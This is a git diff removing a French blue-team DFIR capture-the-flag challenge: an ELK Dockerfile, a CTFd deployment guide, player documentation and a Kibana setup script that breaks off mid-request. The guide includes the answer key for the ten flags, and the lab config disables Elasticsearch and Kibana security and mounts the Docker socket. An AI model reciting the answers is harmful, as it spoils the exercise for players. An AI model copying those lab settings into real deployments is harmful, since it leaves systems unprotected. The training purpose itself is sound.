diff --git a/challenges/1-Blue-Team-Phishing-ELK-Sarah/Dockerfile b/challenges/1-Blue-Team-Phishing-ELK-Sarah/Dockerfile deleted file mode 100644 index 8168f1b..0000000 --- a/challenges/1-Blue-Team-Phishing-ELK-Sarah/Dockerfile +++ /dev/null @@ -1,100 +0,0 @@ -FROM ubuntu:22.04 - -ENV DEBIAN_FRONTEND=noninteractive -ENV ES_VERSION=8.11.0 -ENV LS_VERSION=1:8.11.0-1 - -# ── Dépendances système ────────────────────────────────────────────────────── -RUN apt-get update && apt-get install -y \ - wget curl gnupg supervisor \ - && rm -rf /var/lib/apt/lists/* - -# ── Java (requis par ES + Logstash) ───────────────────────────────────────── -RUN apt-get update && apt-get install -y default-jdk-headless \ - && rm -rf /var/lib/apt/lists/* - -# ── Clé GPG Elastic + dépôt ───────────────────────────────────────────────── -RUN wget -qO - https://artifacts.elastic.co/GPG-KEY-elasticsearch \ - | gpg --dearmor -o /usr/share/keyrings/elasticsearch-keyring.gpg \ - && echo "deb [signed-by=/usr/share/keyrings/elasticsearch-keyring.gpg] \ - https://artifacts.elastic.co/packages/8.x/apt stable main" \ - > /etc/apt/sources.list.d/elastic-8.x.list - -# ── Installation Elasticsearch + Kibana + Logstash ─────────────────────────── -RUN apt-get update && apt-get install -y \ - elasticsearch=${ES_VERSION} \ - kibana=${ES_VERSION} \ - logstash=${LS_VERSION} \ - && rm -rf /var/lib/apt/lists/* - -# ── Configuration Elasticsearch ────────────────────────────────────────────── -RUN echo "network.host: 0.0.0.0" > /etc/elasticsearch/elasticsearch.yml \ - && echo "discovery.type: single-node" >> /etc/elasticsearch/elasticsearch.yml \ - && echo "xpack.security.enabled: false" >> /etc/elasticsearch/elasticsearch.yml \ - && echo "xpack.security.http.ssl.enabled: false" >> /etc/elasticsearch/elasticsearch.yml \ - && echo "xpack.security.enrollment.enabled: false" >> /etc/elasticsearch/elasticsearch.yml \ - && echo 'ES_JAVA_OPTS="-Xms512m -Xmx512m"' >> /etc/default/elasticsearch \ - && rm -rf /etc/elasticsearch/certs \ - && rm -f /etc/elasticsearch/elasticsearch.keystore \ - && mkdir -p /var/lib/elasticsearch /var/log/elasticsearch \ - /usr/share/elasticsearch/logs /usr/share/elasticsearch/data \ - && chown -R elasticsearch:elasticsearch \ - /etc/elasticsearch \ - /var/lib/elasticsearch \ - /var/log/elasticsearch \ - /usr/share/elasticsearch - -# ── Configuration Kibana ───────────────────────────────────────────────────── -RUN echo 'server.host: "0.0.0.0"' > /etc/kibana/kibana.yml \ - && echo 'elasticsearch.hosts: ["http://localhost:9200"]' >> /etc/kibana/kibana.yml \ - && echo 'xpack.security.enabled: false' >> /etc/kibana/kibana.yml \ - && echo 'telemetry.enabled: false' >> /etc/kibana/kibana.yml \ - && echo 'xpack.fleet.enabled: false' >> /etc/kibana/kibana.yml \ - && echo 'xpack.apm.enabled: false' >> /etc/kibana/kibana.yml \ - && echo 'xpack.securitySolution.enabled: false' >> /etc/kibana/kibana.yml \ - && rm -f /etc/kibana/kibana.keystore \ - && mkdir -p /var/lib/kibana /var/log/kibana /run/kibana \ - && chown -R kibana:kibana \ - /etc/kibana \ - /var/lib/kibana \ - /var/log/kibana \ - /run/kibana \ - /usr/share/kibana - -# ── Configuration Logstash ─────────────────────────────────────────────────── -RUN mkdir -p /usr/share/logstash/data /var/log/logstash /var/lib/logstash \ - && chown -R logstash:logstash \ - /usr/share/logstash \ - /etc/logstash \ - /var/log/logstash \ - /var/lib/logstash - -# ── Logstash configuration globale ─────────────────────────────────────────── -RUN mkdir -p /usr/share/logstash/config \ - && echo 'pipeline.ecs_compatibility: disabled' > /usr/share/logstash/config/logstash.yml \ - && echo 'xpack.monitoring.enabled: false' >> /usr/share/logstash/config/logstash.yml \ - && chown logstash:logstash /usr/share/logstash/config/logstash.yml - -# ── Logstash pipeline ──────────────────────────────────────────────────────── -COPY pipeline/logstash.conf /etc/logstash/conf.d/logstash.conf -RUN chown logstash:logstash /etc/logstash/conf.d/logstash.conf - -# ── Logs du challenge ──────────────────────────────────────────────────────── -COPY logs/ /opt/ctf-logs-src/ -RUN chmod -R 644 /opt/ctf-logs-src/*.json && chmod 755 /opt/ctf-logs-src/ - -# ── Supervisord configuration ──────────────────────────────────────────────── -COPY supervisord.conf /etc/supervisor/conf.d/supervisord.conf - -# ── Script d'injection des logs ────────────────────────────────────────────── -COPY init/inject_logs.py /opt/inject_logs.py -RUN chmod +x /opt/inject_logs.py - -# ── Script init Kibana ──────────────────────────────────────────────────────── -COPY init/import_kibana.sh /opt/import_kibana.sh -RUN chmod +x /opt/import_kibana.sh - -# ── Port exposé (Kibana) ───────────────────────────────────────────────────── -EXPOSE 5601 - -CMD ["/usr/bin/supervisord", "-n", "-c", "/etc/supervisor/conf.d/supervisord.conf"] \ No newline at end of file diff --git a/challenges/1-Blue-Team-Phishing-ELK-Sarah/GUIDE_DEPLOIEMENT.md b/challenges/1-Blue-Team-Phishing-ELK-Sarah/GUIDE_DEPLOIEMENT.md deleted file mode 100644 index b3683ab..0000000 --- a/challenges/1-Blue-Team-Phishing-ELK-Sarah/GUIDE_DEPLOIEMENT.md +++ /dev/null @@ -1,464 +0,0 @@ -# 🛠️ Guide complet : CTFd + Plugin Docker + Challenge DFIR ELK - -## Architecture finale - -``` -┌─────────────────────────────────────────────────────────────┐ -│ Serveur (Tailscale : 100.X.X.X) │ -│ │ -│ ┌──────────────┐ ┌──────────────────────────────────┐ │ -│ │ CTFd │ │ Instances challenge (Docker) │ │ -│ │ :8000 │ │ │ │ -│ │ │───▶│ Équipe A → port 32100 │ │ -│ │ Plugin │ │ Équipe B → port 32101 │ │ -│ │ containers │ │ Équipe C → port 32102 │ │ -│ └──────────────┘ │ (chaque instance = ELK isolé) │ │ -│ └──────────────────────────────────┘ │ -└─────────────────────────────────────────────────────────────┘ - │ │ - ▼ ▼ - Équipes accèdent Équipes accèdent - CTFd via Tailscale leur Kibana via Tailscale - 100.X.X.X:8000 100.X.X.X: -``` - ---- - -## PARTIE 1 — Build de l'image Docker du challenge - -### 1.1 Structure du projet - -``` -ctf-elk/ -├── Dockerfile ← image du challenge ELK -├── pipeline/ -│ └── logstash.conf -├── logs/ -│ └── corp_incident.json -├── kibana/ -│ └── kibana.yml -└── init/ - └── import_kibana.sh -``` - -### 1.2 Dockerfile du challenge (image self-contained) - -Le challenge est une image Docker **tout-en-un** qui embarque ES + Kibana + Logstash -dans un seul conteneur via supervisord. - -```dockerfile -FROM ubuntu:22.04 - -ENV DEBIAN_FRONTEND=noninteractive -ENV ES_VERSION=8.11.0 - -# ── Dépendances système ────────────────────────────────────── -RUN apt-get update && apt-get install -y \ - wget curl gnupg supervisor default-jdk \ - && rm -rf /var/lib/apt/lists/* - -# ── Clé GPG Elastic ───────────────────────────────────────── -RUN wget -qO - https://artifacts.elastic.co/GPG-KEY-elasticsearch \ - | gpg --dearmor -o /usr/share/keyrings/elasticsearch-keyring.gpg \ - && echo "deb [signed-by=/usr/share/keyrings/elasticsearch-keyring.gpg] \ - https://artifacts.elastic.co/packages/8.x/apt stable main" \ - > /etc/apt/sources.list.d/elastic-8.x.list - -# ── Installation ES + Kibana + Logstash ───────────────────── -RUN apt-get update && apt-get install -y \ - elasticsearch=${ES_VERSION} \ - kibana=${ES_VERSION} \ - logstash \ - && rm -rf /var/lib/apt/lists/* - -# ── Config Elasticsearch ───────────────────────────────────── -RUN echo "network.host: 0.0.0.0" >> /etc/elasticsearch/elasticsearch.yml \ - && echo "discovery.type: single-node" >> /etc/elasticsearch/elasticsearch.yml \ - && echo "xpack.security.enabled: false" >> /etc/elasticsearch/elasticsearch.yml \ - && echo "xpack.security.http.ssl.enabled: false" >> /etc/elasticsearch/elasticsearch.yml - -# ── Config Kibana ──────────────────────────────────────────── -RUN echo 'server.host: "0.0.0.0"' >> /etc/kibana/kibana.yml \ - && echo 'elasticsearch.hosts: ["http://localhost:9200"]' >> /etc/kibana/kibana.yml \ - && echo 'xpack.security.enabled: false' >> /etc/kibana/kibana.yml \ - && echo 'telemetry.enabled: false' >> /etc/kibana/kibana.yml - -# ── Logstash pipeline et logs ──────────────────────────────── -COPY pipeline/logstash.conf /etc/logstash/conf.d/logstash.conf -COPY logs/ /opt/ctf-logs/ - -# ── Supervisord ────────────────────────────────────────────── -COPY supervisord.conf /etc/supervisor/conf.d/supervisord.conf - -# ── Script d'init Kibana (index pattern) ──────────────────── -COPY init/import_kibana.sh /opt/import_kibana.sh -RUN chmod +x /opt/import_kibana.sh - -EXPOSE 5601 - -CMD ["/usr/bin/supervisord", "-n", "-c", "/etc/supervisor/conf.d/supervisord.conf"] -``` - -### 1.3 supervisord.conf - -```ini -[supervisord] -nodaemon=true -logfile=/var/log/supervisord.log - -[program:elasticsearch] -command=/usr/share/elasticsearch/bin/elasticsearch -user=elasticsearch -environment=ES_JAVA_OPTS="-Xms512m -Xmx512m" -stdout_logfile=/var/log/elasticsearch.log -stderr_logfile=/var/log/elasticsearch.log -autorestart=true -priority=10 - -[program:kibana] -command=/usr/share/kibana/bin/kibana -user=kibana -stdout_logfile=/var/log/kibana.log -stderr_logfile=/var/log/kibana.log -autorestart=true -priority=20 - -[program:logstash] -command=/usr/share/logstash/bin/logstash -f /etc/logstash/conf.d/logstash.conf -user=logstash -environment=LS_JAVA_OPTS="-Xms256m -Xmx256m" -stdout_logfile=/var/log/logstash.log -stderr_logfile=/var/log/logstash.log -autorestart=false -startsecs=30 -priority=30 - -[program:kibana-init] -command=/opt/import_kibana.sh -stdout_logfile=/var/log/kibana-init.log -autorestart=false -startsecs=120 -priority=40 -``` - -### 1.4 logstash.conf adapté (chemin local) - -```ruby -input { - file { - path => "/opt/ctf-logs/*.json" - start_position => "beginning" - sincedb_path => "/dev/null" - codec => json - mode => "read" - } -} - -filter { - date { - match => ["@timestamp", "ISO8601"] - target => "@timestamp" - } - mutate { - add_field => { - "environment" => "corp.local" - "ctf_scenario" => "DFIR-Incident-2024-03-15" - } - } -} - -output { - elasticsearch { - hosts => ["http://localhost:9200"] - index => "dfir-incident-%{+YYYY.MM.dd}" - } -} -``` - -### 1.5 Build et tag de l'image - -```bash -# Se placer dans le répertoire ctf-elk/ -cd ctf-elk/ - -# Build de l'image (tag local, pas besoin de registry externe !) -docker build -t ctf-dfir-elk:latest . - -# Vérifier que l'image est bien présente -docker images | grep ctf-dfir-elk -``` - -> **Note sur ``** : avec le plugin CTFd Docker local, tu n'as -> **pas besoin** de registry externe (DockerHub, GitHub Container Registry...). -> Le plugin utilise directement le daemon Docker local du serveur. -> L'image doit juste être présente localement sur le serveur avec `docker images`. - ---- - -## PARTIE 2 — Installation de CTFd - -### 2.1 Cloner CTFd - -```bash -cd /opt -git clone https://github.com/CTFd/CTFd.git -cd CTFd -``` - -### 2.2 docker-compose.yml CTFd (adapté pour le plugin) - -```yaml -# /opt/CTFd/docker-compose.yml -version: "3" - -services: - ctfd: - build: . - user: root - restart: always - ports: - - "8000:8000" - environment: - - UPLOAD_FOLDER=/var/uploads - - DATABASE_URL=mysql+pymysql://ctfd:ctfd@db/ctfd - - REDIS_URL=redis://cache:6379 - - WORKERS=1 - - LOG_FOLDER=/var/log/CTFd - - ACCESS_LOG=- - - ERROR_LOG=- - - REVERSE_PROXY=false - volumes: - - .data/CTFd/logs:/var/log/CTFd - - .data/CTFd/uploads:/var/uploads - - .:/opt/CTFd:ro - # ⚠️ CRITIQUE : expose le socket Docker à CTFd pour le plugin - - /var/run/docker.sock:/var/run/docker.sock - depends_on: - - db - networks: - default: - - db: - image: mariadb:10.11 - restart: always - environment: - - MYSQL_ROOT_PASSWORD=ctfd - - MYSQL_USER=ctfd - - MYSQL_PASSWORD=ctfd - - MYSQL_DATABASE=ctfd - volumes: - - .data/mysql:/var/lib/mysql - networks: - default: - - cache: - image: redis:4 - restart: always - volumes: - - .data/redis:/data - networks: - default: - -networks: - default: -``` - -### 2.3 Lancer CTFd - -```bash -cd /opt/CTFd -docker-compose up -d -# CTFd disponible sur http://100.X.X.X:8000 -``` - ---- - -## PARTIE 3 — Installation du plugin CTFd Docker Containers - -Le plugin recommandé est **CTFdDockerContainersPlugin** (Bigyls), -fork maintenu de andyjsmith/CTFd-Docker-Plugin. - -### 3.1 Installation du plugin - -```bash -cd /opt/CTFd/CTFd/plugins - -# Cloner le plugin (doit s'appeler exactement "containers") -git clone https://github.com/Bigyls/CTFdDockerContainersPlugin.git containers - -# Installer les dépendances Python du plugin -cd containers -pip install -r requirements.txt -``` - -### 3.2 Redémarrer CTFd - -```bash -cd /opt/CTFd -docker-compose restart ctfd -``` - -### 3.3 Configurer le plugin dans l'interface CTFd - -1. Ouvrir **http://100.X.X.X:8000** → Se connecter en admin -2. Aller dans **Admin Panel** → barre de navigation → **Plugins** → **Containers** -3. Cliquer sur **Settings** -4. Remplir : - -| Champ | Valeur | -|-------|--------| -| **Connection Type** | `unix_socket` | -| **Connection String** | `/var/run/docker.sock` | -| **Base URL** | `http://100.X.X.X` ← **ton IP Tailscale** | -| **Container Timeout** | `7200` (2h) | -| **Max Containers** | `20` (ou nombre d'équipes) | - -5. Cliquer **Save** → le plugin doit afficher une icône verte ✅ - ---- - -## PARTIE 4 — Créer le challenge dans CTFd - -### 4.1 Créer le challenge - -1. **Admin Panel** → **Challenges** → **+ New Challenge** -2. Remplir : - -| Champ | Valeur | -|-------|--------| -| **Name** | `DFIR – Incident CORP.LOCAL` | -| **Category** | `Forensics` | -| **Type** | `container` ← type ajouté par le plugin | -| **Value** | `500` (total des points, ou gérer flag par flag) | -| **Image** | `ctf-dfir-elk:latest` | -| **Port** | `5601` | -| **Connect Type** | `http` | - -3. Dans la description, mettre le contexte (voir ci-dessous) -4. **Save** - -### 4.2 Description du challenge pour les joueurs - -```markdown -## 🔍 DFIR – Incident CORP.LOCAL - -Un incident de sécurité s'est produit sur le domaine **CORP.LOCAL**. -Vous avez accès à une instance **Kibana** contenant les logs Windows -des trois machines de l'infrastructure. - -Votre mission : analyser les logs et reconstituer la chaîne d'attaque. - -**Infrastructure :** -- `WIN-ACCT01` — Poste utilisateur (192.168.10.45) -- `APP-SRV01` — Serveur applicatif (192.168.10.52) -- `DC01` — Domain Controller (192.168.10.10) - -**Cliquez sur "Start Instance" pour lancer votre environnement Kibana.** -L'instance peut prendre 2-3 minutes à démarrer. - -> Accès : `http://100.X.X.X:` (visible après démarrage) -``` - -### 4.3 Créer les 10 flags dans CTFd - -Créer **10 challenges séparés** (ou 10 flags sur le même challenge selon ta config CTFd). -Le plus propre est de faire **un challenge par flag** dans la même catégorie : - -| Challenge | Flag | Points | -|-----------|------|--------| -| FLAG 1 – IP du C2 | `FLAG{185.243.115.23}` | 50 | -| FLAG 2 – Commande PowerShell encodée | `FLAG{SQBFAFgA...}` | 100 | -| FLAG 3 – Script téléchargé | `FLAG{update.ps1}` | 100 | -| FLAG 4 – SHA256 outil énumération | `FLAG{9f86d08...}` | 150 | -| FLAG 5 – Technique MITRE dump LSASS | `FLAG{T1003.001}` | 150 | -| FLAG 6 – Compte pivot vers APP-SRV01 | `FLAG{svc_backup}` | 150 | -| FLAG 7 – Heure premier RDP APP-SRV01 | `FLAG{09:48:12}` | 200 | -| FLAG 8 – Type auth Kerberos DC | `FLAG{Kerberos_TGS}` | 250 | -| FLAG 9 – SID ajouté groupe privilégié | `FLAG{S-1-5-21-...}` | 300 | -| FLAG 10 – Compte persistant + SPN | `FLAG{svc_update$}` | 400 | - -> Pour FLAG 4 : les joueurs voient `SharpHound.exe` dans les logs -> et doivent **chercher eux-mêmes le SHA256 sur VirusTotal / GitHub**. -> Le hash n'apparaît **pas** dans les logs du challenge. - ---- - -## PARTIE 5 — Isolation des instances par équipe - -Le plugin gère **automatiquement** l'isolation : - -- Chaque équipe clique **"Start Instance"** → le plugin lance un nouveau conteneur Docker -- Chaque conteneur a un **port aléatoire** assigné (ex: 32100, 32101...) -- Les conteneurs sont sur des réseaux Docker **isolés** (pas de communication inter-équipes) -- Le joueur voit son URL : `http://100.X.X.X:32100` dans l'interface CTFd - -Pour vérifier les instances actives (admin) : -→ **Admin Panel** → **Plugins** → **Containers** → liste des conteneurs actifs - ---- - -## PARTIE 6 — Accès Tailscale - -Les joueurs se connectent à Tailscale et accèdent : - -- **CTFd** : `http://100.X.X.X:8000` -- **Leur Kibana** : `http://100.X.X.X:` (affiché par CTFd après "Start") - -Si tu veux exposer uniquement via Tailscale (pas d'accès public) : - -```bash -# Vérifier l'IP Tailscale du serveur -tailscale ip -4 -# → 100.X.X.X - -# S'assurer que les ports 8000 et 32000-33000 sont autorisés dans le firewall -ufw allow from 100.64.0.0/10 to any port 8000 -ufw allow from 100.64.0.0/10 to any port 32000:33000/tcp -``` - ---- - -## PARTIE 7 — Commandes utiles - -```bash -# Voir toutes les instances en cours -docker ps | grep ctf-dfir-elk - -# Logs d'une instance -docker logs - -# Tuer une instance manuellement -docker stop - -# Vérifier l'espace disque (chaque instance = ~2GB) -df -h - -# Voir l'index ES d'une instance (depuis le serveur) -curl http://localhost:/dfir-incident-*/_count -``` - ---- - -## PARTIE 8 — Ressources mémoire estimées - -| Composant | RAM par instance | -|-----------|-----------------| -| Elasticsearch | ~512 MB | -| Kibana | ~512 MB | -| Logstash | ~256 MB | -| **Total/équipe** | **~1.3 GB** | - -Pour 10 équipes simultanées → **~13 GB RAM** minimum sur le serveur. - ---- - -## Checklist de déploiement - -- [ ] Image `ctf-dfir-elk:latest` buildée sur le serveur -- [ ] CTFd lancé (`docker-compose up -d`) -- [ ] Plugin `containers` installé dans `/opt/CTFd/CTFd/plugins/containers` -- [ ] Plugin configuré avec socket Docker + IP Tailscale -- [ ] Challenge créé avec image `ctf-dfir-elk:latest` port `5601` -- [ ] 10 flags créés dans CTFd -- [ ] Test : lancer une instance manuellement et vérifier Kibana -- [ ] Test accès Tailscale : `http://100.X.X.X:8000` diff --git a/challenges/1-Blue-Team-Phishing-ELK-Sarah/README.md b/challenges/1-Blue-Team-Phishing-ELK-Sarah/README.md deleted file mode 100644 index 86c9e0e..0000000 --- a/challenges/1-Blue-Team-Phishing-ELK-Sarah/README.md +++ /dev/null @@ -1,69 +0,0 @@ -# Blue Team CTF – DFIR Incident CORP.LOCAL -### Challenge Sarah – Forensique via SIEM / ELK - -## Documentation -- Guide joueur : `docs/USER_GUIDE.md` -- Guide admin/déploiement : `GUIDE_DEPLOIEMENT.md` - ---- - -## Contexte - -Le domaine **CORP.LOCAL** a été victime d'une intrusion. L'équipe SOC a collecté les journaux Windows des machines impactées et les a centralisés dans une instance **Kibana** mise à votre disposition. - -L'investigation préliminaire indique qu'un attaquant a compromis un poste utilisateur, pivoté vers un serveur applicatif, puis s'est attaqué au Domain Controller. - -> **Objectif** : Analyser les logs dans Kibana, reconstituer la chaîne d'attaque et répondre aux 10 questions du challenge. - ---- - -## Infrastructure du scénario - -| Machine | Rôle | IP | -|---------|------|----| -| `WIN-ACCT01` | Poste utilisateur compromis | 192.168.10.45 | -| `APP-SRV01` | Serveur applicatif (pivot) | 192.168.10.52 | -| `DC01` | Domain Controller (cible finale) | 192.168.10.10 | - ---- - -## Structure du challenge - -``` -ctf-forensics-dfir-elk/ -├── README.md <- Vous êtes ici -├── Dockerfile <- Image du challenge (ELK tout-en-un) -├── GUIDE_DEPLOIEMENT.md <- Guide admin complet -├── supervisord.conf <- Orchestration des services ELK -├── pipeline/ -│ └── logstash.conf <- Pipeline d'ingestion des logs -└── init/ - ├── inject_logs.py <- Injection des logs dans Elasticsearch - └── import_kibana.sh <- Import des index patterns Kibana -``` - ---- - -## Public cible - -- **Joueurs CTF** : commencez par `docs/USER_GUIDE.md` -- **Admins / déploiement** : suivez `GUIDE_DEPLOIEMENT.md` - ---- - -## Notes techniques - -- Le challenge tourne dans un conteneur Docker isolé par équipe (via CTFdDockerContainersPlugin). -- Chaque instance embarque Elasticsearch, Kibana et Logstash dans un seul conteneur. -- L'accès se fait via le port Kibana (5601) assigné dynamiquement par CTFd. -- L'instance peut prendre **2 à 3 minutes** à démarrer le temps qu'Elasticsearch soit prêt. - ---- - -## Avertissement - -Ce challenge est conçu à des fins **éducatives uniquement**. Les techniques présentées doivent être utilisées de manière éthique et légale, uniquement dans des environnements autorisés. - ---- - -*Blue Team CTF – Sarah – ESGI Projet Annuel 2026* diff --git a/challenges/1-Blue-Team-Phishing-ELK-Sarah/docs/USER_GUIDE.md b/challenges/1-Blue-Team-Phishing-ELK-Sarah/docs/USER_GUIDE.md deleted file mode 100644 index fe78f19..0000000 --- a/challenges/1-Blue-Team-Phishing-ELK-Sarah/docs/USER_GUIDE.md +++ /dev/null @@ -1,105 +0,0 @@ -# Guide joueur – DFIR Incident CORP.LOCAL - -## Contexte - -Un incident de sécurité s'est produit sur le domaine **CORP.LOCAL**. Vous avez accès à une instance **Kibana** contenant les journaux Windows collectés sur les machines impactées. - -Votre mission : analyser les logs, reconstituer la chaîne d'attaque et répondre aux questions du challenge. - ---- - -## Accès à votre instance Kibana - -1. Sur la page du challenge dans CTFd, cliquer sur **Start Instance** -2. Attendre **2 à 3 minutes** — Elasticsearch doit démarrer avant que Kibana soit disponible -3. Une URL s'affiche dans CTFd : `http://:` -4. Ouvrir cette URL dans votre navigateur → vous arrivez sur Kibana - -> Si Kibana affiche une erreur au premier chargement, patientez encore une minute et rafraîchissez. - ---- - -## Prise en main de Kibana - -### Accéder aux logs - -1. Dans Kibana, aller dans **Discover** (menu de gauche) -2. Sélectionner l'index pattern `dfir-incident-*` -3. Les logs des trois machines s'affichent dans l'ordre chronologique - -### Filtrer par machine - -Dans la barre de recherche, utiliser : - -``` -host.name: "WIN-ACCT01" -host.name: "APP-SRV01" -host.name: "DC01" -``` - -### Filtrer par type d'événement Windows - -``` -event.code: 4624 <- Connexion réussie -event.code: 4625 <- Connexion échouée -event.code: 4688 <- Création de processus -event.code: 4698 <- Tâche planifiée créée -event.code: 4720 <- Compte créé -event.code: 4728 <- Ajout à un groupe -``` - -### Filtrer par plage de temps - -Utilisez le sélecteur de temps en haut à droite pour cibler la période de l'incident. - ---- - -## Infrastructure du scénario - -| Machine | Rôle | IP | -|---------|------|----| -| `WIN-ACCT01` | Poste utilisateur compromis (point d'entrée) | 192.168.10.45 | -| `APP-SRV01` | Serveur applicatif (pivot) | 192.168.10.52 | -| `DC01` | Domain Controller (cible finale) | 192.168.10.10 | - ---- - -## Progression recommandée - -1. **Identifier le point d'entrée** — quel poste a été compromis en premier ? -2. **Retrouver la commande initiale** — quelle commande a été exécutée au démarrage ? -3. **Identifier le script téléchargé** — quel fichier l'attaquant a-t-il récupéré ? -4. **Identifier l'outil d'énumération** — quel outil a été utilisé pour cartographier l'AD ? -5. **Retrouver la technique de dump** — comment l'attaquant a-t-il extrait les credentials ? -6. **Identifier le pivot** — quel compte a été utilisé pour atteindre APP-SRV01 ? -7. **Dater le pivot** — à quelle heure la première connexion RDP a-t-elle eu lieu ? -8. **Analyser l'authentification Kerberos** — quel type de ticket a été utilisé sur DC01 ? -9. **Identifier l'escalade de privilèges** — quel SID a été ajouté à un groupe privilégié ? -10. **Trouver le compte de persistance** — quel compte avec SPN a été créé pour la persistance ? - ---- - -## Outils recommandés - -- **Kibana Discover** : exploration et filtrage des logs -- **KQL (Kibana Query Language)** : requêtes avancées -- **MITRE ATT&CK** : identification des techniques (`https://attack.mitre.org`) -- **VirusTotal** : recherche de hash de fichiers suspects - ---- - -## Format des flags - -Chaque réponse est soumise sous la forme : - -``` -FLAG{valeur} -``` - -Exemple : `FLAG{192.168.10.45}` - ---- - -## Bon courage ! - -*Blue Team CTF – Sarah – ESGI Projet Annuel 2026* diff --git a/challenges/1-Blue-Team-Phishing-ELK-Sarah/init/import_kibana.sh b/challenges/1-Blue-Team-Phishing-ELK-Sarah/init/import_kibana.sh deleted file mode 100644 index 9003763..0000000 --- a/challenges/1-Blue-Team-Phishing-ELK-Sarah/init/import_kibana.sh +++ /dev/null @@ -1,171 +0,0 @@ -#!/bin/sh -# Script d'initialisation Kibana – attend que tout soit prêt puis crée l'index pattern - -KIBANA_URL="http://localhost:5601" -ES_URL="http://localhost:9200" - -log() { echo "[CTF-INIT] $1"; } - -# ── Attendre Elasticsearch ──────────────────────────────────────────────────── -log "Waiting for Elasticsearch..." -until curl -s "${ES_URL}/_cluster/health" | grep -q '"status":"green"\|"status":"yellow"'; do - sleep 5 -done -log "Elasticsearch is up!" - -# ── Attendre Kibana ─────────────────────────────────────────────────────────── -log "Waiting for Kibana..." -until curl -s "${KIBANA_URL}/api/status" | grep -q '"level":"available"'; do - sleep 5 -done -log "Kibana is up!" - -# ── Attendre que les logs soient injectés ──────────────────────────────────── -log "Waiting for logs to be injected (target: 200+ documents)..." -EXPECTED_DOCS=200 -while true; do - COUNT=$(curl -s "${ES_URL}/dfir-incident-*/_count" 2>/dev/null | grep -o '"count":[0-9]*' | grep -o "[0-9]*") - COUNT=${COUNT:-0} - if [ "$COUNT" -ge "$EXPECTED_DOCS" ] 2>/dev/null; then - log "Injection done: ${COUNT} documents indexed." - break - fi - log "Documents indexed so far: ${COUNT}/${EXPECTED_DOCS} — waiting..." - sleep 5 -done -sleep 2 - -# ── Créer le data view (API Kibana 8.x) ────────────────────────────────────── -log "Creating data view..." -curl -s -X POST "${KIBANA_URL}/api/data_views/data_view" \ - -H "kbn-xsrf: true" \ - -H "Content-Type: application/json" \ - -d '{ - "data_view": { - "id": "dfir-incident", - "title": "dfir-incident-*", - "timeFieldName": "@timestamp" - } - }' > /dev/null - -# ── Définir comme data view par défaut ─────────────────────────────────────── -curl -s -X POST "${KIBANA_URL}/api/data_views/default" \ - -H "kbn-xsrf: true" \ - -H "Content-Type: application/json" \ - -d '{"data_view_id": "dfir-incident", "force": true}' > /dev/null - -# ── Saved Search : tous les events ─────────────────────────────────────────── -log "Creating saved searches..." -curl -s -X POST "${KIBANA_URL}/api/saved_objects/search/all-events" \ - -H "kbn-xsrf: true" \ - -H "Content-Type: application/json" \ - -d '{ - "attributes": { - "title": "📋 All Events (chronological)", - "columns": ["@timestamp","host","event_id","user","description","category"], - "sort": [["@timestamp","asc"]], - "kibanaSavedObjectMeta": { - "searchSourceJSON": "{\"indexRefName\":\"kibanaSavedObjectMeta.searchSourceJSON.index\",\"query\":{\"match_all\":{}},\"filter\":[]}" - } - }, - "references": [{"name":"kibanaSavedObjectMeta.searchSourceJSON.index","type":"index-pattern","id":"dfir-incident"}] - }' > /dev/null - -# ── Saved Search : events réseau ───────────────────────────────────────────── -curl -s -X POST "${KIBANA_URL}/api/saved_objects/search/network-events" \ - -H "kbn-xsrf: true" \ - -H "Content-Type: application/json" \ - -d '{ - "attributes": { - "title": "🌐 Network Events (5156)", - "columns": ["@timestamp","host","user","direction","dst_ip","dst_port","protocol","description"], - "sort": [["@timestamp","asc"]], - "kibanaSavedObjectMeta": { - "searchSourceJSON": "{\"indexRefName\":\"kibanaSavedObjectMeta.searchSourceJSON.index\",\"query\":{\"match\":{\"event_id\":5156}},\"filter\":[]}" - } - }, - "references": [{"name":"kibanaSavedObjectMeta.searchSourceJSON.index","type":"index-pattern","id":"dfir-incident"}] - }' > /dev/null - -# ── Saved Search : events process ──────────────────────────────────────────── -curl -s -X POST "${KIBANA_URL}/api/saved_objects/search/process-events" \ - -H "kbn-xsrf: true" \ - -H "Content-Type: application/json" \ - -d '{ - "attributes": { - "title": "⚙️ Process Creation (4688)", - "columns": ["@timestamp","host","user","process_name","parent_process","command_line","description"], - "sort": [["@timestamp","asc"]], - "kibanaSavedObjectMeta": { - "searchSourceJSON": "{\"indexRefName\":\"kibanaSavedObjectMeta.searchSourceJSON.index\",\"query\":{\"match\":{\"event_id\":4688}},\"filter\":[]}" - } - }, - "references": [{"name":"kibanaSavedObjectMeta.searchSourceJSON.index","type":"index-pattern","id":"dfir-incident"}] - }' > /dev/null - -# ── Saved Search : authentifications ───────────────────────────────────────── -curl -s -X POST "${KIBANA_URL}/api/saved_objects/search/auth-events" \ - -H "kbn-xsrf: true" \ - -H "Content-Type: application/json" \ - -d '{ - "attributes": { - "title": "🔐 Authentication Events (4624/4648)", - "columns": ["@timestamp","host","user","logon_type","source_ip","target_user","target_host","description"], - "sort": [["@timestamp","asc"]], - "kibanaSavedObjectMeta": { - "searchSourceJSON": "{\"indexRefName\":\"kibanaSavedObjectMeta.searchSourceJSON.index\",\"query\":{\"bool\":{\"should\":[{\"match\":{\"event_id\":4624}},{\"match\":{\"event_id\":4648}}]}},\"filter\":[]}" - } - }, - "references": [{"name":"kibanaSavedObjectMeta.searchSourceJSON.index","type":"index-pattern","id":"dfir-incident"}] - }' > /dev/null - -# ── Saved Search : Kerberos ─────────────────────────────────────────────────── -curl -s -X POST "${KIBANA_URL}/api/saved_objects/search/kerberos-events" \ - -H "kbn-xsrf: true" \ - -H "Content-Type: application/json" \ - -d '{ - "attributes": { - "title": "🎟️ Kerberos Events (4769)", - "columns": ["@timestamp","host","user","service_name","ticket_encryption","ticket_options","client_ip","description"], - "sort": [["@timestamp","asc"]], - "kibanaSavedObjectMeta": { - "searchSourceJSON": "{\"indexRefName\":\"kibanaSavedObjectMeta.searchSourceJSON.index\",\"query\":{\"match\":{\"event_id\":4769}},\"filter\":[]}" - } - }, - "references": [{"name":"kibanaSavedObjectMeta.searchSourceJSON.index","type":"index-pattern","id":"dfir-incident"}] - }' > /dev/null - -# ── Saved Search : Account Management ──────────────────────────────────────── -curl -s -X POST "${KIBANA_URL}/api/saved_objects/search/account-mgmt" \ - -H "kbn-xsrf: true" \ - -H "Content-Type: application/json" \ - -d '{ - "attributes": { - "title": "👤 Account Management (4720/4728/4742/4764/5136)", - "columns": ["@timestamp","host","user","new_account","target_account","target_user_sid","group_name","attribute_value","description"], - "sort": 